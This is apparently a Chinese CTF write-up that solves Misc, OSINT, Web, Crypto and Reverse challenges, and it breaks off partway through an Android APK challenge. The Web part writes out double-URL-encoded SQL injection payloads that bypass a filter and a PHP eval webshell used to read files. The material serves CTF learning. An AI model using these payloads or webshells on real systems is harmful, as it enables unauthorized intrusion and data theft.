阳了打比赛是真顶不住啊,而且还是一个人打比赛,解出14个已经很满意了,不过平台太拉了,经常崩崩崩。

Misc

qianda0_Sudoku

这题刚开始把数独给填了也没啥思路,怎么试都不对。

后来放hint了,才发现原来就是把数独填了的和空着的分别用1和0表示,所以直接手敲二进制就完事。

011100110111010101100100001100000110101101110101010111110110011001110101010011100

image.png

file

flag{sud0ku_fuN}

数据泄露01-账号泄露追踪

GitHub搜索hongxiangjiao发现一个符合题目要求的仓库。

file

scrubbers.py发现第三个账号。

file

flag{GBUfty0vMqlrGOdE}

盗梦空间

拿到一串密文:

PB5CMZCPGU7GSJKNJRDUQYJFMZJE24BSIR3TGI3TJ55FGQ2GERJGIWDAJBHTK2BVIFIDKNZ2LJKFKND2L5QX42B6HJJFA7LLLBHUE4S5MZTDYTRTLFAHUVBMFN5SWQLLLZRWQ6SHO5CTMXRYKV5FMLSCLEUWSWBQJI2VGOR4JE5UYUKQPRXTWJLUJB3TWVKZFM3F6WTRJYRFC432KVEC4ILYKRTTCQTFKBWTAYSNN5XTE2TKMBSHWNSFNQQVURCZO55G6OZUFNKSIOJRGA2EYYKOMJMXK3TYIB4UWZLRJ54GUTLWFJWEWTLKMR6TKJSHOUYWMKS7IUUWMMDXL5QUC2KJEQWE4R2VFJCQ====

解Base32得到:

xz&dO5>i%MLGHa%fRMp2Dw3#sOzSCF$RdX`HO5h5AP57:ZTU4z_a~h>:RP}kXOBr]ff<N3Y@zT,+{+Ak^chzGwE6^8UzV.BY)iX0J5S:<I;LQP|o;%tHw;UY+6_ZqN"QszUH.!xTg1BePm0bMoo2jj`d{6El!ZDYwzo;4+U$9104LaNbYunx@yKeqOxjMv*lKMjd}5&Gu1f*_E)f0w_aAiI$,NGU*E

解Base91得到:

R2REQ2VHZDQ2ZUdkNDNkR2MrX2JHZDQ2ZUdjKz9YR2Q0NmVHZDQzWkdkNDNoR2NffGJHZDQzZkdkNDZlR2Q0M2hHYytfWUdkNDNoR2Q0M2RHYys/WUdkNDNkR2REOWZHZDQ2ZkdjK19hR2MrP2ZHZERDY0dkNDNmR2Q0M1pHZDQ2Y0dkNDNl

解Base64得到:

GdDCeGd46eGd43dGc+_bGd46eGc+?XGd46eGd43ZGd43hGc_|bGd43fGd46eGd43hGc+_YGd43hGd43dGc+?YGd43dGdD9fGd46fGc+_aGc+?fGdDCcGd43fGd43ZGd46cGd43e

解IPv6版本的Base85得到:

374436453635344436453431364536313639353436373645363934413639363534323635373636463443343937423637363136433636

解十六进制得到:

7D6E654D6E416E616954676E694A69654265766F4C497B67616C66

解十六进制得到:

}neMnAnaiTgniJieBevoLI{galf

反转得到flag。

flag{ILoveBeiJingTianAnMen}

数据泄露02-泄露的密码

博客园找红香蕉发现一个与题目描述相近的博文。

file

点开发现flag。

file

flag{redbanana2022sss}

数据泄露03-泄露的密钥[一血]

第二题博文底部发现知乎专栏。

file

在其另一个回答下发现flag。

file

51d0a99c-752e-11ed-b5a7-44af28a75237

Web

SQL

打开题目得到:

<?php
include_once('db.inc.php');
include_once('common.php');

if (isset($_GET['id'])) {
    $data = p(2,1,1);
    $id = string::delHtml($data['id']);
    $id = urldecode($id);

    $conn = new mysqli(DB_HOST, DB_USER, DB_PWD, DB_NAME);
    if ($conn->connect_error) {
        die("连接失败: " . $conn->connect_error);
    }
    $sql = "SELECT id, name, email FROM users where id = '$id' limit 1";

    $result = $conn->query($sql);
    if ($result) {
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"] . "<br>Name: " . $row["name"] . "<br>" . $row["email"] . "<br>";
            }
        } else {
            echo "0 结果";
        }
    } else {
        echo ($conn->error);
    }

    $conn->close();
} else {
    highlight_file(__FILE__);
}

发现一个URL解码$id = urldecode($id);的操作,但实际上服务器本身会队传参进行解码,所以会造成二次解码。

尝试传入?id=' union select 1, 2, 3 #发现有检测。

file

file

利用刚才的二次解码尝试传入?id=%2527%2520union%2520select%25201%252C%25202%252C%25203%2520%2523

file

虽然还是有检测,但是数据能正常返回了,所以检测就不管了。

所以接着传入?id=%2527%2520union%2520select%25201%252Cgroup_concat(schema_name)%252C3%2520from%2520information_schema.schemata%2520%2523去查询数据库。

file

发现就一个sqlll是非系统库,所以传入?id=%2527%2520union%2520select%25201%252Cgroup_concat(table_name)%252C3%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase()%2520%2523直接查数据表。

file

发现有个is_this_flag表,所以传入?id=%2527%2520union%2520select%25201%252Cgroup_concat(column_name)%252C3%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase()%2520and%2520table_name%253D%2527is_this_flag%2527%2520%2523去这个表查查数据列。

file

发现就一列,那么直接传%2527%2520union%2520select%25201%252Cflag%252C3%2520from%2520is_this_flag%2520%2523查出来就完事。

file

flag{e4cf1b90-75d1-11ed-9b3b-44af28a75237}

eZphp2

打开题目查看网页源码发现:

1.png

访问得到:

file

主要就是不能有下划线,所以用.代替,然后就是长度限制。

所以构造出符合要求的<?=eval($_GET[1]);并写入发现写入成功。

file

访问写入的1.php并传入?1=var_dump(scandir("."));去层层遍历flag,在../../../的时候发现flaaaaaag

file

尝试打开目录发现不是目录。

file

尝试传入?1=var_dump(file_get_contents("../../../flaaaaaag"));去读取发现flag。

file

flag{0ff16317-5fde-4697-882b-0b4945455fd5}

Crypto

小菜一碟

打开题目得到:

p= 159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199
q= 172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477
e= 19999
c= 15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395
求明文m。

老题目了,知道了pqec能直接代入脚本。

import gmpy2
from Crypto.Util.number import long_to_bytes

p= 159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199
q= 172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477
e= 19999
c= 15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395

phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p * q
m = pow(c, d, n)

print(long_to_bytes(m))

flag{TheFIFAWorldCupQatar2022}

rand

打开题目得到:

import random
import time

random.seed(int(time.time()))
rand = random.randint(0,10**30)
flag = 0
en = flag ^ rand

print(en)

# Dec 10 2022 10:30:50
# Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 23:09:28) [MSC v.1916 64 bit (AMD64)] on win32
# 881235169941718345882433419366

看起来是随机种子问题。

先拿到种子1670639450

file

然后下个Windows上的Python 3.7.2 x64然后写个脚本跑一下。

import random

random.seed(1670639450)
rand = random.randint(0,10**30)
en = 881235169941718345882433419366
flag = en ^ rand

print(flag)

file

flag{659480394773869512498389750739}

simpleR

打开题目得到:

e=2
c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329

还是老题目,知道了e=2c能直接代入脚本。

import gmpy2
from Crypto.Util.number import long_to_bytes

e=2
c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329
print(long_to_bytes(int(gmpy2.isqrt(c))))

flag{efd90a18-7601-11ed-ac93-44af28a75237}

RRSSAA

打开题目得到:

p= 123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687
q= 97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729
e1= 2333
c1= 3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988
e2= 23333
c2= 3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715

依旧是老题目,知道了pq和两队ec能直接代入脚本。

import gmpy2
from Crypto.Util.number import long_to_bytes

p= 123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687
q= 97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729
n = p * q
e1= 2333
c1= 3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988
e2= 23333
c2= 3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715
s = gmpy2.gcdext(e1, e2)
s1 = s[1]
s2 = s[2]
if s1 < 0:
    s1 = - s1
    c1 = gmpy2.invert(c1, n)
elif s2 < 0:
    s2 = - s2
    c2 = gmpy2.invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n

print(long_to_bytes(m))

flag{m-co-pr1m3}

Reverse

check[一血]

尝试IDA打开发现是Golang写的。

file

所以去Ghidra用插件恢复一下符号表。

file

发现main.mainmain.check函数。

看了下main.main发现就是个读取输入然后调用main.check判断的逻辑。

file

打开main.check发现逻辑特别长。

file

file

而且看起来运算括号大部分没啥用,所以去IDA找到这个函数看看。

file

file

直接清爽很多,然后整个函数代码复制出来。批量替换改改格式,变成z3能认的代码逻辑。

但是在没替换掉临时变量的时候,z3输出的结果是无解的,猜测是临时变量复用结果是指针传递,导致实际求解逻辑不对。

所以又把所有临时变量给按照逻辑代入到z3的条件语句里,最终得到如下求解代码:

from z3 import *

a0, a1, a2, a3, a4, a41 = tuple(b"flag{}")
a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40 = Ints(
    'a5 a6 a7 a8 a9 a10 a11 a12 a13 a14 a15 a16 a17 a18 a19 a20 a21 a22 a23 a24 a25 a26 a27 a28 a29 a30 a31 a32 a33 a34 a35 a36 a37 a38 a39 a40'
)
s = Solver()

s.add( a39 + a38 + a37 + a36 + a35 + a34 + a33 + a31 + a29 + a23 + a22 + a21 + a19 + a18 + a17 + a16 + a11 + a8 + a5 + a4 + a3 + a2 + a0 + a1 - a6 - a7 - a9 - a10 - a12 - a13 - a14 - a15 - a20 - a24 - a25 - a26 - a27 - a28 - a30 - a32 - a40 - a41 == 634 )
s.add( a39 + a36 + a34 + a33 + a31 + a30 + a28 + a23 + a21 + a17 + a15 + a14 + a12 + a9 + a7 + a5 + a4 + a2 + a0 + a1 - a3 - a6 - a8 - a10 - a11 - a13 - a16 - a18 - a19 - a20 - a22 - a24 - a25 - a26 - a27 - a29 - a32 - a35 - a37 - a38 - a40 - a41 == -50 )
s.add( a41 + a40 + a38 + a35 + a33 + a32 + a31 + a29 + a27 + a26 + a24 + a23 + a18 + a16 + a14 + a13 + a12 + a11 + a7 + a6 + a4 + a2 + a0 + a1 - a3 - a5 - a8 - a9 - a10 - a15 - a17 - a19 - a20 - a21 - a22 - a25 - a28 - a30 - a34 - a36 - a37 - a39 == 404 )
s.add( a36 + a35 + a33 + a23 + a22 + a14 + a10 + a9 + a8 + a7 + a6 + a5 + a4 + a0 + a1 - a2 - a3 - a11 - a12 - a13 - a15 - a16 - a17 - a18 - a19 - a20 - a21 - a24 - a25 - a26 - a27 - a28 - a29 - a30 - a31 - a32 - a34 - a37 - a38 - a39 - a40 - a41 == -654 )
s.add( a39 + a38 + a37 + a32 + a30 + a28 + a24 + a22 + a21 + a20 + a14 + a11 + a10 + a9 + a8 + a6 + a5 + a2 + a0 + a1 - a3 - a4 - a7 - a12 - a13 - a15 - a16 - a17 - a18 - a19 - a23 - a25 - a26 - a27 - a29 - a31 - a33 - a34 - a35 - a36 - a40 - a41 == -106 )
s.add( a38 + a36 + a34 + a32 + a29 + a27 + a26 + a24 + a22 + a21 + a16 + a15 + a14 + a8 + a6 + a5 + a3 + a0 - a1 + a2 - a4 - a7 - a9 - a10 - a11 - a12 - a13 - a17 - a18 - a19 - a20 - a23 - a25 - a28 - a30 - a31 - a33 - a35 - a37 - a39 - a40 - a41 == -114 )
s.add( a38 + a33 + a31 + a30 + a28 + a26 + a24 + a23 + a22 + a19 + a18 + a16 + a13 + a12 + a11 + a8 + a5 + a3 + a0 - a1 + a2 - a4 - a6 - a7 - a9 - a10 - a14 - a15 - a17 - a20 - a21 - a25 - a27 - a29 - a32 - a34 - a35 - a36 - a37 - a39 - a40 - a41 == -326 )
s.add( a41 + a36 + a30 + a28 + a26 + a25 + a23 + a19 + a15 + a13 + a11 + a10 + a7 + a5 + a0 - a1 - a2 - a3 + a4 - a6 - a8 - a9 - a12 - a14 - a16 - a17 - a18 - a20 - a21 - a22 - a24 - a27 - a29 - a31 - a32 - a33 - a34 - a35 - a37 - a38 - a39 - a40 == -638 )
s.add( a41 + a40 + a39 + a36 + a34 + a33 + a31 + a29 + a22 + a16 + a15 + a10 + a8 + a7 + a6 + a0 + a1 - a2 - a3 - a4 - a5 - a9 - a11 - a12 - a13 - a14 - a17 - a18 - a19 - a20 - a21 - a23 - a24 - a25 - a26 - a27 - a28 - a30 - a32 - a35 - a37 - a38 == -248 )
s.add( a41 + a40 + a39 + a38 + a36 + a35 + a34 + a33 + a32 + a28 + a26 + a24 + a23 + a22 + a21 + a20 + a19 + a15 + a14 + a10 + a9 + a7 + a6 + a0 - a1 - a2 - a3 - a4 - a5 - a8 - a11 - a12 - a13 - a16 - a17 - a18 - a25 - a27 - a29 - a30 - a31 - a37 == 370 )
s.add( a41 + a39 + a37 + a36 + a35 + a34 + a29 + a26 + a23 + a19 + a18 + a17 + a15 + a14 + a13 + a9 + a8 + a0 - a1 - a2 - a3 + a4 - a5 - a6 - a7 - a10 - a11 - a12 - a16 - a20 - a21 - a22 - a24 - a25 - a27 - a28 - a30 - a31 - a32 - a33 - a38 - a40 == -136 )
s.add( a40 + a39 + a36 + a35 + a33 + a31 + a28 + a27 + a25 + a24 + a23 + a18 + a15 + a14 + a12 + a11 + a10 + a7 + a6 + a0 + a1 - a2 - a3 - a4 - a5 - a8 - a9 - a13 - a16 - a17 - a19 - a20 - a21 - a22 - a26 - a29 - a30 - a32 - a34 - a37 - a38 - a41 == -84 )
s.add( a39 + a38 + a37 + a36 + a35 + a34 + a33 + a27 + a26 + a25 + a24 + a22 + a21 + a20 + a16 + a15 + a14 + a13 + a12 + a11 + a7 + a5 + a0 - a1 - a2 - a3 + a4 - a6 - a8 - a9 - a10 - a17 - a18 - a19 - a23 - a28 - a29 - a30 - a31 - a32 - a40 - a41 == 578 )
s.add( a41 + a40 + a39 + a38 + a37 + a36 + a34 + a33 + a32 + a30 + a29 + a27 + a24 + a22 + a17 + a16 + a14 + a10 + a7 + a4 + a2 + a0 + a1 - a3 - a5 - a6 - a8 - a9 - a11 - a12 - a13 - a15 - a18 - a19 - a20 - a21 - a23 - a25 - a26 - a28 - a31 - a35 == 714 )
s.add( a40 + a37 + a36 + a35 + a33 + a31 + a27 + a26 + a24 + a23 + a21 + a17 + a16 + a15 + a11 + a10 + a9 + a8 + a6 + a5 + a3 + a0 - a1 + a2 - a4 - a7 - a12 - a13 - a14 - a18 - a19 - a20 - a22 - a25 - a28 - a29 - a30 - a32 - a34 - a38 - a39 - a41 == 224 )
s.add( a41 + a39 + a37 + a35 + a33 + a32 + a30 + a29 + a27 + a26 + a25 + a24 + a21 + a20 + a16 + a13 + a10 + a9 + a8 + a7 + a4 + a3 + a0 - a1 + a2 - a5 - a6 - a11 - a12 - a14 - a15 - a17 - a18 - a19 - a22 - a23 - a28 - a31 - a34 - a36 - a38 - a40 == 628 )
s.add( a41 + a40 + a39 + a38 + a37 + a36 + a35 + a34 + a32 + a31 + a29 + a28 + a24 + a22 + a20 + a16 + a15 + a14 + a11 + a10 + a9 + a6 + a3 + a0 - a1 - a2 - a4 - a5 - a7 - a8 - a12 - a13 - a17 - a18 - a19 - a21 - a23 - a25 - a26 - a27 - a30 - a33 == 460 )
s.add( a37 + a29 + a28 + a27 + a26 + a21 + a20 + a18 + a15 + a14 + a5 + a4 + a3 + a0 - a1 - a2 - a6 - a7 - a8 - a9 - a10 - a11 - a12 - a13 - a16 - a17 - a19 - a22 - a23 - a24 - a25 - a30 - a31 - a32 - a33 - a34 - a35 - a36 - a38 - a39 - a40 - a41 == -876 )
s.add( a40 + a39 + a38 + a35 + a33 + a31 + a30 + a29 + a28 + a25 + a24 + a21 + a17 + a8 + a0 + a1 - a2 + a3 - a4 - a5 - a6 - a7 - a9 - a10 - a11 - a12 - a13 - a14 - a15 - a16 - a18 - a19 - a20 - a22 - a23 - a26 - a27 - a32 - a34 - a36 - a37 - a41 == -566 )
s.add( a36 + a34 + a33 + a28 + a27 + a26 + a25 + a23 + a20 + a19 + a18 + a17 + a16 + a15 + a12 + a11 + a7 + a0 + a1 - a2 + a3 - a4 - a5 - a6 - a8 - a9 - a10 - a13 - a14 - a21 - a22 - a24 - a29 - a30 - a31 - a32 - a35 - a37 - a38 - a39 - a40 - a41 == -182 )
s.add( a41 + a38 + a37 + a36 + a35 + a31 + a30 + a28 + a26 + a25 + a24 + a22 + a21 + a20 + a15 + a12 + a11 + a10 + a8 + a7 + a5 + a4 + a3 + a0 - a1 - a2 - a6 - a9 - a13 - a14 - a16 - a17 - a18 - a19 - a23 - a27 - a29 - a32 - a33 - a34 - a39 - a40 == 706 )
s.add( a41 + a36 + a35 + a34 + a33 + a31 + a30 + a26 + a23 + a22 + a20 + a18 + a17 + a11 + a10 + a8 + a7 + a5 + a0 - a1 + a2 - a3 - a4 - a6 - a9 - a12 - a13 - a14 - a15 - a16 - a19 - a21 - a24 - a25 - a27 - a28 - a29 - a32 - a37 - a38 - a39 - a40 == -154 )
s.add( a40 + a38 + a34 + a29 + a24 + a23 + a21 + a20 + a18 + a17 + a16 + a14 + a13 + a11 + a9 + a5 + a4 + a3 + a2 + a0 + a1 - a6 - a7 - a8 - a10 - a12 - a15 - a19 - a22 - a25 - a26 - a27 - a28 - a30 - a31 - a32 - a33 - a35 - a36 - a37 - a39 - a41 == -140 )
s.add( a41 + a39 + a38 + a36 + a35 + a34 + a31 + a30 + a26 + a19 + a15 + a12 + a11 + a10 + a9 + a8 + a6 + a0 - a1 + a2 - a3 + a5 + a4 - a7 - a13 - a14 - a16 - a17 - a18 - a20 - a21 - a22 - a23 - a24 - a25 - a27 - a28 - a29 - a32 - a33 - a37 - a40 == 202 )
s.add( a40 + a38 + a37 + a34 + a33 + a27 + a25 + a23 + a21 + a20 + a19 + a18 + a17 + a16 + a14 + a13 + a9 + a8 + a7 + a4 + a0 - a1 + a2 - a3 - a5 - a6 - a10 - a11 - a12 - a15 - a22 - a24 - a26 - a28 - a29 - a30 - a31 - a32 - a35 - a36 - a39 - a41 == 132 )
s.add( a41 + a37 + a35 + a34 + a33 + a32 + a30 + a29 + a28 + a27 + a25 + a24 + a22 + a21 + a19 + a18 + a16 + a13 + a12 + a10 + a9 + a8 + a4 + a0 - a1 + a2 - a3 - a5 - a6 - a7 - a11 - a14 - a15 - a17 - a20 - a23 - a26 - a31 - a36 - a38 - a39 - a40 == 488 )
s.add( a41 + a40 + a38 + a34 + a32 + a26 + a22 + a19 + a17 + a16 + a15 + a13 + a9 + a8 + a7 + a0 - a1 + a2 - a3 + a5 + a4 - a6 - a10 - a11 - a12 - a14 - a18 - a20 - a21 - a23 - a24 - a25 - a27 - a28 - a29 - a30 - a31 - a33 - a35 - a36 - a37 - a39 == -10 )
s.add( a38 + a37 + a35 + a33 + a32 + a28 + a26 + a23 + a21 + a17 + a15 + a14 + a13 + a12 + a10 + a6 + a4 + a3 + a0 - a1 + a2 - a5 - a7 - a8 - a9 - a11 - a16 - a18 - a19 - a20 - a22 - a24 - a25 - a27 - a29 - a30 - a31 - a34 - a36 - a39 - a40 - a41 == -186 )
s.add( a41 + a40 + a34 + a33 + a31 + a30 + a25 + a22 + a19 + a15 + a14 + a10 + a5 + a0 + a1 - a2 - a3 - a4 - a6 - a7 - a8 - a9 - a11 - a12 - a13 - a16 - a17 - a18 - a20 - a21 - a23 - a24 - a26 - a27 - a28 - a29 - a32 - a35 - a36 - a37 - a38 - a39 == -814 )
s.add( a39 + a37 + a36 + a35 + a34 + a33 + a31 + a30 + a28 + a25 + a23 + a22 + a21 + a19 + a16 + a15 + a13 + a11 + a9 + a8 + a7 + a6 + a5 + a0 - a1 - a2 - a3 - a4 - a10 - a12 - a14 - a17 - a18 - a20 - a24 - a26 - a27 - a29 - a32 - a38 - a40 - a41 == 280 )
s.add( a41 + a36 + a34 + a30 + a25 + a23 + a21 + a19 + a17 + a16 + a15 + a13 + a8 + a7 + a6 + a4 + a0 + a1 - a2 + a3 - a5 - a9 - a10 - a11 - a12 - a14 - a18 - a20 - a22 - a24 - a26 - a27 - a28 - a29 - a31 - a32 - a33 - a35 - a37 - a38 - a39 - a40 == -18 )
s.add( a39 + a38 + a37 + a34 + a31 + a30 + a29 + a25 + a24 + a21 + a16 + a15 + a14 + a13 + a11 + a10 + a9 + a7 + a4 + a0 + a1 - a2 - a3 - a5 - a6 - a8 - a12 - a17 - a18 - a19 - a20 - a22 - a23 - a26 - a27 - a28 - a32 - a33 - a35 - a36 - a40 - a41 == 52 )
s.add( a40 + a39 + a37 + a36 + a35 + a33 + a31 + a30 + a29 + a28 + a24 + a23 + a20 + a17 + a16 + a13 + a11 + a10 + a8 + a6 + a0 - a1 + a2 - a3 - a4 - a5 - a7 - a9 - a12 - a14 - a15 - a18 - a19 - a21 - a22 - a25 - a26 - a27 - a32 - a34 - a38 - a41 == -110 )
s.add( a41 + a40 + a38 + a35 + a29 + a28 + a27 + a25 + a24 + a23 + a22 + a21 + a20 + a19 + a17 + a16 + a15 + a13 + a11 + a10 + a9 + a8 + a7 + a5 + a4 + a0 + a1 - a2 - a3 - a6 - a12 - a14 - a18 - a26 - a30 - a31 - a32 - a33 - a34 - a36 - a37 - a39 == 920 )
s.add( a38 + a37 + a35 + a34 + a33 + a29 + a25 + a22 + a20 + a19 + a18 + a17 + a14 + a12 + a7 + a5 + a4 + a2 + a0 + a1 - a3 - a6 - a8 - a9 - a10 - a11 - a13 - a15 - a16 - a21 - a23 - a24 - a26 - a27 - a28 - a30 - a31 - a32 - a36 - a39 - a40 - a41 == -32 )
s.add( a41 + a38 + a37 + a36 + a35 + a33 + a32 + a31 + a30 + a29 + a28 + a26 + a25 + a23 + a22 + a21 + a20 + a17 + a16 + a9 + a6 + a0 - a1 - a2 - a3 + a4 - a5 - a7 - a8 - a10 - a11 - a12 - a13 - a14 - a15 - a18 - a19 - a24 - a27 - a34 - a39 - a40 == 182 )
s.add( a41 + a40 + a37 + a36 + a33 + a32 + a31 + a27 + a22 + a20 + a17 + a16 + a9 + a6 + a4 + a3 + a0 - a1 - a2 - a5 - a7 - a8 - a10 - a11 - a12 - a13 - a14 - a15 - a18 - a19 - a21 - a23 - a24 - a25 - a26 - a28 - a29 - a30 - a34 - a35 - a38 - a39 == -298 )
s.add( a41 + a39 + a36 + a33 + a32 + a31 + a30 + a24 + a23 + a22 + a20 + a17 + a16 + a15 + a14 + a12 + a10 + a9 + a7 + a2 + a0 + a1 - a3 - a4 - a5 - a6 - a8 - a11 - a13 - a18 - a19 - a21 - a25 - a26 - a27 - a28 - a29 - a34 - a35 - a37 - a38 - a40 == 278 )
s.add( a41 + a37 + a36 + a34 + a33 + a32 + a31 + a30 + a29 + a27 + a21 + a18 + a17 + a15 + a13 + a12 + a11 + a10 + a9 + a8 + a7 + a4 + a2 + a0 + a1 - a3 - a5 - a6 - a14 - a16 - a19 - a20 - a22 - a23 - a24 - a25 - a26 - a28 - a35 - a38 - a39 - a40 == 772 )
s.add( a41 + a38 + a37 + a35 + a32 + a31 + a30 + a29 + a28 + a26 + a25 + a24 + a23 + a20 + a18 + a16 + a15 + a14 + a12 + a10 + a8 + a6 + a4 + a2 + a0 + a1 - a3 - a5 - a7 - a9 - a11 - a13 - a17 - a19 - a21 - a22 - a27 - a33 - a34 - a36 - a39 - a40 == 696 )
s.add( a41 + a40 + a39 + a38 + a33 + a32 + a29 + a28 + a27 + a19 + a18 + a16 + a15 + a14 + a10 + a6 + a0 - a1 + a2 - a3 - a4 - a5 - a7 - a8 - a9 - a11 - a12 - a13 - a17 - a20 - a21 - a22 - a23 - a24 - a25 - a26 - a30 - a31 - a34 - a35 - a36 - a37 == -378 )
s.add( a37 + a32 + a29 + a27 + a26 + a24 + a23 + a22 + a21 + a19 + a12 + a11 + a10 + a8 + a7 + a5 + a4 + a2 + a0 + a1 - a3 - a6 - a9 - a13 - a14 - a15 - a16 - a17 - a18 - a20 - a25 - a28 - a30 - a31 - a33 - a34 - a35 - a36 - a38 - a39 - a40 - a41 == 38)

print(s.check())
rst = s.model()
print("flag{", end="")
print(chr(rst[a5].as_long()), end="")
print(chr(rst[a6].as_long()), end="")
print(chr(rst[a7].as_long()), end="")
print(chr(rst[a8].as_long()), end="")
print(chr(rst[a9].as_long()), end="")
print(chr(rst[a10].as_long()), end="")
print(chr(rst[a11].as_long()), end="")
print(chr(rst[a12].as_long()), end="")
print(chr(rst[a13].as_long()), end="")
print(chr(rst[a14].as_long()), end="")
print(chr(rst[a15].as_long()), end="")
print(chr(rst[a16].as_long()), end="")
print(chr(rst[a17].as_long()), end="")
print(chr(rst[a18].as_long()), end="")
print(chr(rst[a19].as_long()), end="")
print(chr(rst[a20].as_long()), end="")
print(chr(rst[a21].as_long()), end="")
print(chr(rst[a22].as_long()), end="")
print(chr(rst[a23].as_long()), end="")
print(chr(rst[a24].as_long()), end="")
print(chr(rst[a25].as_long()), end="")
print(chr(rst[a26].as_long()), end="")
print(chr(rst[a27].as_long()), end="")
print(chr(rst[a28].as_long()), end="")
print(chr(rst[a29].as_long()), end="")
print(chr(rst[a30].as_long()), end="")
print(chr(rst[a31].as_long()), end="")
print(chr(rst[a32].as_long()), end="")
print(chr(rst[a33].as_long()), end="")
print(chr(rst[a34].as_long()), end="")
print(chr(rst[a35].as_long()), end="")
print(chr(rst[a36].as_long()), end="")
print(chr(rst[a37].as_long()), end="")
print(chr(rst[a38].as_long()), end="")
print(chr(rst[a39].as_long()), end="")
print(chr(rst[a40].as_long()), end="")
print("}")

求解得到flag。

flag{70db5315-3d54-481a-956e-0422759aaaf8}

篮球巨星

打开题目发现是后缀为zipapk,所以jadx打开,发现主函数里的逻辑废车简单,两层调用加密后直接检查输入是否正确。

file

先看rg.a发现就是个异或后转十六进制。

file

再看看NativeCall.checkFlag发现是jntm库里的原生调用。

file

于是IDA打开jntm.so找找checkFlag函数。

发现上面的代码应该是验证调用合法性的,所以不管,直接看下面。

file

感觉有用的代码就下面这一片,上半段拿资源文件jinitaimei.dat里的数据,下半段开始解密。

file

跟进Decrypt后发现还有一个Decrypt函数。

file

打开发现是AES,但是模式和偏移以及准确加密对象都不知道。

file

所以直接尝试frida去hookcheckFlag最后的strcmp函数吧,因为从Java那边传入的字符串应该是没二次处理的,所以从比较函数的传参应该就能得到正确的AES解密结果。

